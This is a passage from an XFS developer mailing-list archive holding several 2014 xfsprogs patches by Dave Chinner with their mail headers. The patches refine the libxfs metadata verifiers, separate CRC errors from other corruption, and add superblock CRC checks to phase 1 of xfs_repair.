XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/libxfs/xfs_dir2_leaf.c b/libxfs/xfs_dir2_leaf.c index 683536e..0fa147f 100644 --- a/libxfs/xfs_dir2_leaf.c +++ b/libxfs/xfs_dir2_leaf.c @@ -207,8 +207,7 @@ __read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_LEAF_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || !xfs_dir3_leaf_verify(bp, magic)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index ced8c58..78c77ed 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -99,8 +99,7 @@ xfs_dir3_free_read_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_DIR3_FREE_CRC_OFF)) || + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || !xfs_dir3_free_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index b83ad98..21683b5 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -1554,8 +1554,8 @@ xfs_agi_read_verify( int agi_ok = 1; if (xfs_sb_version_hascrc(&mp->m_sb)) - agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_AGI_CRC_OFF); + agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); + agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index bbcf886..43fdb59 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -565,8 +565,7 @@ xfs_sb_read_verify( XFS_SB_VERSION_5) || dsb->sb_crc != 0)) { - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_SB_CRC_OFF)) { + if (!xfs_buf_verify_cksum(bp, XFS_SB_CRC_OFF)) { /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn == XFS_SB_DADDR || xfs_sb_version_hascrc(&mp->m_sb)) { diff --git a/libxfs/xfs_symlink_remote.c b/libxfs/xfs_symlink_remote.c index 09ee9d4..716f8a3 100644 --- a/libxfs/xfs_symlink_remote.c +++ b/libxfs/xfs_symlink_remote.c @@ -116,8 +116,7 @@ xfs_symlink_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), - XFS_SYMLINK_CRC_OFF) || + if (!xfs_buf_verify_cksum(bp, XFS_SYMLINK_CRC_OFF) || !xfs_symlink_verify(bp)) { XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9B63A7F73 for ; Tue, 4 Mar 2014 02:52:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 49884AC002 for ; Tue, 4 Mar 2014 00:52:18 -0800 (PST) X-ASG-Debug-ID: 1393923136-04bdf05dac2395a0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id S4MEpDawcCvJb5ic for ; Tue, 04 Mar 2014 00:52:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMRI16dIQiBKpng0EogS0 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:12 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006HY-Lq for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006yk-L4 for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/13] libxfs: limit superblock corruption errors to actual corruption Date: Tue, 4 Mar 2014 19:51:49 +1100 X-ASG-Orig-Subj: [PATCH 05/13] libxfs: limit superblock corruption errors to actual corruption Message-Id: <1393923117-9559-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923136 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] Today, if xfs_sb_read_verify xfs_sb_verify xfs_mount_validate_sb detects superblock corruption, it'll be extremely noisy, dumping 2 stacks, 2 hexdumps, etc. This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb as well as in xfs_sb_read_verify. Also, *any* errors in xfs_mount_validate_sb which are not corruption per se; things like too-big-blocksize, bad version, bad magic, v1 dirs, rw-incompat etc - things which do not return EFSCORRUPTED - will still do the whole XFS_CORRUPTION_ERROR spew when xfs_sb_read_verify sees any error at all. And it suggests to the user that they should run xfs_repair, even if the root cause of the mount failure is a simple incompatibility. I'll submit that the probably-not-corrupted errors don't warrant this much noise, so this patch removes the warning for anything other than EFSCORRUPTED returns, and replaces the lower-level XFS_CORRUPTION_ERROR with an xfs_notice(). Signed-off-by: Dave Chinner --- libxfs/xfs_sb.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c index 6ad99a5..05bc860 100644 --- a/libxfs/xfs_sb.c +++ b/libxfs/xfs_sb.c @@ -266,8 +266,7 @@ xfs_mount_validate_sb( sbp->sb_dblocks == 0 || sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { - XFS_CORRUPTION_ERROR("SB sanity check failed", - XFS_ERRLEVEL_LOW, mp, sbp); + xfs_notice(mp, "SB sanity check failed"); return XFS_ERROR(EFSCORRUPTED); } @@ -580,7 +579,7 @@ xfs_sb_read_verify( out_error: if (error) { - if (error != EWRONGFS) + if (error == EFSCORRUPTED) XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, error); -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1E5BA7F7B for ; Tue, 4 Mar 2014 02:52:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 08CA88F8065 for ; Tue, 4 Mar 2014 00:52:21 -0800 (PST) X-ASG-Debug-ID: 1393923135-04cb6c567721b350004-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id dj4TfaK7YYJ7JwSY for ; Tue, 04 Mar 2014 00:52:20 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al4GAIuTFVN5LJYe/2dsb2JhbABagwaqNJdKgR0XdIIlAQEBBCcvMwgYMTkDGxmHeMwtF45GhEoEqmeDQSiBLiQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:13 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006Hg-Pc for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-00070J-On for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 13/13] repair: phase 1 does not handle superblock CRCs Date: Tue, 4 Mar 2014 19:51:57 +1100 X-ASG-Orig-Subj: [PATCH 13/13] repair: phase 1 does not handle superblock CRCs Message-Id: <1393923117-9559-14-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923139 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Phase 1 of xfs_repair verifies and corrects the primary superblock of the filesystem. It does not verify that the CRC of the superblock that is found is correct, nor does it recalculate the CRC of the superblock it rewrites. This happens because phase1 does not use the libxfs buffer cache - it just uses pread/pwrite on a memory buffer, and works directly from that buffer. Hence we need to add CRC verification to verify_sb(), and CRC recalculation to write_primary_sb() so that it works correctly. This also enables us to use get_sb() as the method of fetching the superblock from disk after phase 1 without needing to use the libxfs buffer cache and guessing at the sector size. This prevents a verifier error because it attempts to CRC a superblock buffer that is much longer than the usual sector sizes. Signed-off-by: Dave Chinner --- repair/agheader.c | 2 +- repair/globals.h | 3 ++- repair/phase1.c | 5 ++-- repair/protos.h | 3 ++- repair/sb.c | 71 +++++++++++++++++++++++++++++------------------------ repair/xfs_repair.c | 26 +++++++++++--------- 6 files changed, 62 insertions(+), 48 deletions(-) diff --git a/repair/agheader.c b/repair/agheader.c index 53e47b6..fc5dac9 100644 --- a/repair/agheader.c +++ b/repair/agheader.c @@ -472,7 +472,7 @@ verify_set_agheader(xfs_mount_t *mp, xfs_buf_t *sbuf, xfs_sb_t *sb, int status = XR_OK; int status_sb = XR_OK; - status = verify_sb(sb, (i == 0)); + status = verify_sb(sbuf->b_addr, sb, (i == 0)); if (status != XR_OK) { do_warn(_("bad on-disk superblock %d - %s\n"), diff --git a/repair/globals.h b/repair/globals.h index cbb2ce7..f6e0a22 100644 --- a/repair/globals.h +++ b/repair/globals.h @@ -49,7 +49,8 @@ #define XR_BAD_SB_UNIT 17 /* bad stripe unit */ #define XR_BAD_SB_WIDTH 18 /* bad stripe width */ #define XR_BAD_SVN 19 /* bad shared version number */ -#define XR_BAD_ERR_CODE 20 /* Bad error code */ +#define XR_BAD_CRC 20 /* Bad CRC */ +#define XR_BAD_ERR_CODE 21 /* Bad error code */ /* XFS filesystem (il)legal values */ diff --git a/repair/phase1.c b/repair/phase1.c index 62de211..ec75ada 100644 --- a/repair/phase1.c +++ b/repair/phase1.c @@ -70,13 +70,14 @@ phase1(xfs_mount_t *mp) ag_bp = alloc_ag_buf(MAX_SECTSIZE); sb = (xfs_sb_t *) ag_bp; - if (get_sb(sb, 0LL, MAX_SECTSIZE, 0) == XR_EOF) + rval = get_sb(sb, 0LL, MAX_SECTSIZE, 0); + if (rval == XR_EOF) do_error(_("error reading primary superblock\n")); /* * is this really an sb, verify internal consistency */ - if ((rval = verify_sb(sb, 1)) != XR_OK) { + if (rval != XR_OK) { do_warn(_("bad primary superblock - %s !!!\n"), err_string(rval)); if (!find_secondary_sb(sb)) diff --git a/repair/protos.h b/repair/protos.h index 601f2a9..ff42fa7 100644 --- a/repair/protos.h +++ b/repair/protos.h @@ -18,7 +18,8 @@ void xfs_init(libxfs_init_t *args); -int verify_sb(xfs_sb_t *sb, +int verify_sb(char *sb_buf, + xfs_sb_t *sb, int is_primary_sb); int verify_set_primary_sb(xfs_sb_t *root_sb, int sb_index, diff --git a/repair/sb.c b/repair/sb.c index c54d89b..b111aca 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -139,7 +139,7 @@ find_secondary_sb(xfs_sb_t *rsb) c_bufsb = (char *)sb + i; libxfs_sb_from_disk(&bufsb, (xfs_dsb_t *)c_bufsb); - if (verify_sb(&bufsb, 0) != XR_OK) + if (verify_sb(c_bufsb, &bufsb, 0) != XR_OK) continue; do_warn(_("found candidate secondary superblock...\n")); @@ -245,7 +245,7 @@ sb_validate_ino_align(struct xfs_sb *sb) */ int -verify_sb(xfs_sb_t *sb, int is_primary_sb) +verify_sb(char *sb_buf, xfs_sb_t *sb, int is_primary_sb) { __uint32_t bsize; int i; @@ -263,8 +263,34 @@ verify_sb(xfs_sb_t *sb, int is_primary_sb) if (is_primary_sb && sb->sb_inprogress == 1) return(XR_BAD_INPROGRESS); - /* check to make sure blocksize is legal 2^N, 9 <= N <= 16 */ + /* + * before going *any further*, validate the sector size and if the + * version says we should have CRCs enabled, validate that. + */ + + /* check to make sure sectorsize is legal 2^N, 9 <= N <= 15 */ + if (sb->sb_sectsize == 0) + return(XR_BAD_SECT_SIZE_DATA); + + bsize = 1; + for (i = 0; bsize < sb->sb_sectsize && + i < sizeof(sb->sb_sectsize) * NBBY; i++) { + bsize <<= 1; + } + + if (i < XFS_MIN_SECTORSIZE_LOG || i > XFS_MAX_SECTORSIZE_LOG) + return(XR_BAD_SECT_SIZE_DATA); + + /* check sb sectorsize field against sb sectlog field */ + if (i != sb->sb_sectlog) + return(XR_BAD_SECT_SIZE_DATA); + + /* sector size in range - CRC check time */ + if (xfs_sb_version_hascrc(sb) && + !xfs_verify_cksum(sb_buf, sb->sb_sectsize, XFS_SB_CRC_OFF)) + return XR_BAD_CRC; + /* check to make sure blocksize is legal 2^N, 9 <= N <= 16 */ if (sb->sb_blocksize == 0) return(XR_BAD_BLOCKSIZE); @@ -300,26 +326,6 @@ verify_sb(xfs_sb_t *sb, int is_primary_sb) sb->sb_inopblock != howmany(sb->sb_blocksize,sb->sb_inodesize)) return(XR_BAD_INO_SIZE_DATA); - /* check to make sure sectorsize is legal 2^N, 9 <= N <= 15 */ - - if (sb->sb_sectsize == 0) - return(XR_BAD_SECT_SIZE_DATA); - - bsize = 1; - - for (i = 0; bsize < sb->sb_sectsize && - i < sizeof(sb->sb_sectsize) * NBBY; i++) { - bsize <<= 1; - } - - if (i < XFS_MIN_SECTORSIZE_LOG || i > XFS_MAX_SECTORSIZE_LOG) - return(XR_BAD_SECT_SIZE_DATA); - - /* check sb sectorsize field against sb sectlog field */ - - if (i != sb->sb_sectlog) - return(XR_BAD_SECT_SIZE_DATA); - if (xfs_sb_version_hassector(sb)) { /* check to make sure log sector is legal 2^N, 9 <= N <= 15 */ @@ -482,9 +488,11 @@ write_primary_sb(xfs_sb_t *sbp, int size) do_error(_("couldn't seek to offset 0 in filesystem\n")); } - libxfs_sb_to_disk(buf, sbp, XFS_SB_ALL_BITS); + if (xfs_sb_version_hascrc(sbp)) + xfs_update_cksum((char *)buf, size, XFS_SB_CRC_OFF); + if (write(x.dfd, buf, size) != size) { free(buf); do_error(_("primary superblock write failed!\n")); @@ -494,7 +502,7 @@ write_primary_sb(xfs_sb_t *sbp, int size) } /* - * get a possible superblock -- don't check for internal consistency + * get a possible superblock -- checks for internal consistency */ int get_sb(xfs_sb_t *sbp, xfs_off_t off, int size, xfs_agnumber_t agno) @@ -529,9 +537,10 @@ get_sb(xfs_sb_t *sbp, xfs_off_t off, int size, xfs_agnumber_t agno) do_error("%s\n", strerror(error)); } libxfs_sb_from_disk(sbp, buf); - free(buf); - return (verify_sb(sbp, 0)); + rval = verify_sb((char *)buf, sbp, agno == 0); + free(buf); + return rval; } /* returns element on list with highest reference count */ @@ -745,13 +754,11 @@ verify_set_primary_sb(xfs_sb_t *rsb, off = (xfs_off_t)agno * rsb->sb_agblocks << rsb->sb_blocklog; checked[agno] = 1; - - if (get_sb(sb, off, size, agno) == XR_EOF) { - retval = XR_EOF; + retval = get_sb(sb, off, size, agno); + if (retval == XR_EOF) goto out_free_list; - } - if (verify_sb(sb, 0) == XR_OK) { + if (retval == XR_OK) { /* * save away geometry info. * don't bother checking the sb diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 6327076..08b25f0 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -137,6 +137,8 @@ err_string(int err_code) _("bad stripe width in superblock"); err_message[XR_BAD_SVN] = _("bad shared version number in superblock"); + err_message[XR_BAD_CRC] = + _("bad CRC in superblock"); done = 1; } @@ -529,6 +531,8 @@ main(int argc, char **argv) xfs_buf_t *sbp; xfs_mount_t xfs_m; char *msgbuf; + struct xfs_sb psb; + int rval; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -558,13 +562,12 @@ main(int argc, char **argv) exit(1); } - /* prepare the mount structure */ - memset(&xfs_m, 0, sizeof(xfs_mount_t)); - libxfs_buftarg_init(&xfs_m, x.ddev, x.logdev, x.rtdev); - sbp = libxfs_readbuf(xfs_m.m_ddev_targp, XFS_SB_DADDR, - 1 << (XFS_MAX_SECTORSIZE_LOG - BBSHIFT), 0, - &xfs_sb_buf_ops); - libxfs_sb_from_disk(&xfs_m.m_sb, XFS_BUF_TO_SBP(sbp)); + rval = get_sb(&psb, 0, XFS_MAX_SECTORSIZE, 0); + if (rval != XR_OK) { + do_warn(_("Primary superblock bad after phase 1!\n" + "Exiting now.\n")); + exit(1); + } /* * if the sector size of the filesystem we are trying to repair is @@ -583,7 +586,7 @@ main(int argc, char **argv) geom.sectsize = BBSIZE; } - if (xfs_m.m_sb.sb_sectsize < geom.sectsize) { + if (psb.sb_sectsize < geom.sectsize) { long old_flags; old_flags = fcntl(fd, F_GETFL, 0); @@ -595,7 +598,10 @@ main(int argc, char **argv) } } } - mp = libxfs_mount(&xfs_m, &xfs_m.m_sb, x.ddev, x.logdev, x.rtdev, 0); + + /* prepare the mount structure */ + memset(&xfs_m, 0, sizeof(xfs_mount_t)); + mp = libxfs_mount(&xfs_m, &psb, x.ddev, x.logdev, x.rtdev, 0); if (!mp) { fprintf(stderr, @@ -603,8 +609,6 @@ main(int argc, char **argv) progname); exit(1); } - libxfs_putbuf(sbp); - libxfs_purgebuf(sbp); /* * set XFS-independent status vars from the mount/sb structure -- 1.9.0 From dave@fromorbit.com Tue Mar 4 02:52:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4FEDF7F83 for ; Tue, 4 Mar 2014 02:52:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E2F2D8F8071 for ; Tue, 4 Mar 2014 00:52:22 -0800 (PST) X-ASG-Debug-ID: 1393923136-04bdf05dac2395a0004-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 7IWnv2sGozF4uIGT for ; Tue, 04 Mar 2014 00:52:20 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsGAIuTFVN5LJYe/2dsb2JhbABagwbDGxd0giUBAQUnLzMIGDE5AxsZh3jMLReTEASqZ4NBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 04 Mar 2014 19:22:13 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WKl4w-0006He-Os for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WKl4w-0006zt-O3 for xfs@oss.sgi.com; Tue, 04 Mar 2014 19:51:58 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 11/13] libxfs: modify verifiers to differentiate CRC from other errors Date: Tue, 4 Mar 2014 19:51:55 +1100 X-ASG-Orig-Subj: [PATCH 11/13] libxfs: modify verifiers to differentiate CRC from other errors Message-Id: <1393923117-9559-12-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393923117-9559-1-git-send-email-david@fromorbit.com> References: <1393923117-9559-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393923139 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner [userspace port] Modify all read & write verifiers to differentiate between CRC errors and other inconsistencies. This sets the appropriate error number on bp->b_error, and then calls xfs_verifier_error() if something went wrong. That function will issue the appropriate message to the user. Also, fix the silly bug in xfs_buf_ioerror() that this patch exposes. Signed-off-by: Dave Chinner --- include/libxfs.h | 2 +- libxfs/xfs_alloc.c | 37 +++++++++++++++++-------------------- libxfs/xfs_alloc_btree.c | 15 ++++++++------- libxfs/xfs_attr_leaf.c | 14 ++++++++------ libxfs/xfs_attr_remote.c | 15 ++++++--------- libxfs/xfs_bmap_btree.c | 16 ++++++++-------- libxfs/xfs_da_btree.c | 14 ++++++++------ libxfs/xfs_dir2_block.c | 14 ++++++++------ libxfs/xfs_dir2_data.c | 17 +++++++++-------- libxfs/xfs_dir2_leaf.c | 14 ++++++++------ libxfs/xfs_dir2_node.c | 14 ++++++++------ libxfs/xfs_dquot_buf.c | 11 +++++++---- libxfs/xfs_ialloc.c | 21 ++++++++++----------- libxfs/xfs_ialloc_btree.c | 15 ++++++++------- libxfs/xfs_inode_buf.c | 3 +-- libxfs/xfs_sb.c | 10 ++++------ libxfs/xfs_symlink_remote.c | 12 +++++++----- 17 files changed, 126 insertions(+), 118 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 7500903..6bc6c94 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -365,7 +365,7 @@ enum xfs_buf_flags_t { /* b_flags bits */ #define XFS_BUF_PRIORITY(bp) (cache_node_get_priority( \ (struct cache_node *)(bp))) #define xfs_buf_set_ref(bp,ref) ((void) 0) -#define xfs_buf_ioerror(bp,err) (bp)->b_error = (err); +#define xfs_buf_ioerror(bp,err) ((bp)->b_error = (err)) #define xfs_daddr_to_agno(mp,d) \ ((xfs_agnumber_t)(XFS_BB_TO_FSBT(mp, d) / (mp)->m_sb.sb_agblocks)) diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index dca612b..6c82be0 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -452,7 +452,6 @@ xfs_agfl_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agfl_ok = 1; /* * There is no verification of non-crc AGFLs because mkfs does not @@ -463,14 +462,13 @@ xfs_agfl_read_verify( if (!xfs_sb_version_hascrc(&mp->m_sb)) return; - agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); - - agfl_ok = agfl_ok && xfs_agfl_verify(bp); - - if (!agfl_ok) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_agfl_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -485,8 +483,8 @@ xfs_agfl_write_verify( return; if (!xfs_agfl_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -2216,18 +2214,17 @@ xfs_agf_read_verify( struct xfs_buf *bp) { struct xfs_mount *mp = bp->b_target->bt_mount; - int agf_ok = 1; - - if (xfs_sb_version_hascrc(&mp->m_sb)) - agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); - agf_ok = agf_ok && xfs_agf_verify(mp, bp); - - if (unlikely(XFS_TEST_ERROR(!agf_ok, mp, XFS_ERRTAG_ALLOC_READ_AGF, - XFS_RANDOM_ALLOC_READ_AGF))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (XFS_TEST_ERROR(!xfs_agf_verify(mp, bp), mp, + XFS_ERRTAG_ALLOC_READ_AGF, + XFS_RANDOM_ALLOC_READ_AGF)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -2238,8 +2235,8 @@ xfs_agf_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/libxfs/xfs_alloc_btree.c b/libxfs/xfs_alloc_btree.c index 5b38c24..215be7e 100644 --- a/libxfs/xfs_alloc_btree.c +++ b/libxfs/xfs_alloc_btree.c @@ -337,12 +337,14 @@ static void xfs_allocbt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_allocbt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_allocbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -352,9 +354,8 @@ xfs_allocbt_write_verify( { if (!xfs_allocbt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index 90937d6..f7f02ae 100644 --- a/libxfs/xfs_attr_leaf.c +++ 